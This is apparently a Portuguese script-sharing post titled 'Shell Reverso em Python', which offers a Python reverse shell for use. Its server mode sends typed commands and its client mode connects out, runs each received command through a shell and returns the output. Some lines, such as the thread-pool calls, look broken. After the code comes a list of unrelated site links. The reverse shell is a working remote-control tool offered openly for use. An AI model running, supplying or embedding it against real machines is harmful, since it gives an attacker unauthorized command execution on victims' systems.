Shell Reverso em Python
Publicado por henrique (última atualização em 04/11/2020)
[ Hits: 4.911 ]
Homepage: naotem.com
Shell reverso básico em Python.
#!/usr/bin/env python3
import socket, os, subprocess, sys
from time import sleep
from concurrent.futures import ThreadPoolExecutor
n_threads = 10
buffer = int(4096)
try:
if sys.argv[1] == '-h':
print("""-l [ipv4]
-p [port]
-s = servidor
-c = cliente
-h = ajuda
example: ./msfconsoleh -l 192.168.0.102 -p 9999 -s""")
sys.exit()
except:
print("""-l [ipv4]
-p [port]
-s = servidor
-c = cliente
-h = ajuda
example: ./msfconsoleh -l 192.168.0.102 -p 9999 -s""")
sys.exit()
if sys.argv[1] == '-l':
host = str(sys.argv[2])
if sys.argv[3] == '-p':
port = int(sys.argv[4])
a = input('cliente ou servidor: ')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def send_commands(client_socket):
print('qualquer comando depois siga')
while True:
cmd = input()
if cmd == 'exit':
client_socket.close()
s.close()
sys.exit()
if len(str.encode(cmd)) > 0:
client_socket.send(str.encode(cmd))
client_response = str(client_socket.recv(1024), "utf-8")
print(client_response, end="")
def server():
s.bind((host, port))
s.listen(5)
print(f'listando {host}:{port} ...')
client_socket, client_adress = s.accept()
print(f'{client_adress[0]}:{client_adress[1]} Connectado!')
message = 'hnx'
client_socket.send(message.encode())
send_commands(client_socket)
client_socket.close()
def client():
s.connect((host, port))
message = s.recv(buffer).decode()
print('servidor: ', message)
while True:
data = s.recv(buffer)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read()
output_str = str(output_bytes, "utf-8")
s.send(str.encode(output_str + str(os.getcwd()) + '#'))
s.close()
with ThreadPoolExecutor(max_workers=n_threads) as pool:
pool.map(server)
pool.map(client)
if a in 'Ss':
server()
if a in 'Cc':
client()
if s.close() or sys.exit():
print('-' * 20, 'fim', '-' * 17)
Shell reverso em Python - cliente
Ligando máquina pela rede usando Python
HCoin - Preço do Dólar, Bitcoin e Euro em Python
auth_ig.py: Script para autenticação do IG
Como extrair chaves TOTP 2FA a partir de QRCODE (Google Authenticator)
Linux em 2025: Segurança prática para o usuário
Desktop Linux em alta: novos apps, distros e privacidade marcam o sábado
IA chega ao desktop e impulsiona produtividade no mundo Linux
Novos apps de produtividade, avanços em IA e distros em ebulição agitam o universo Linux
Como instalar o repositório do DBeaver no Ubuntu
Como instalar o Plex Media Server no Ubuntu
Digitando underscore com "shift" + "barra de espaços"
Como ativar a lixeira e recuperar aquivos deletados em um servidor Linux
Como mudar o nome de dispositivos Bluetooth via linha de comando
dpkg: erro: gatilho de arquivo duplicado chamado pelo arquivo de nome (6)
Instalação não está resolvendo as dependencias (2)
Captação de áudio no zorin linux começa a diminuir com o tempo (5)
Alternativas ao Multilogin para gerenciamento de múltiplas contas/prof... (0)









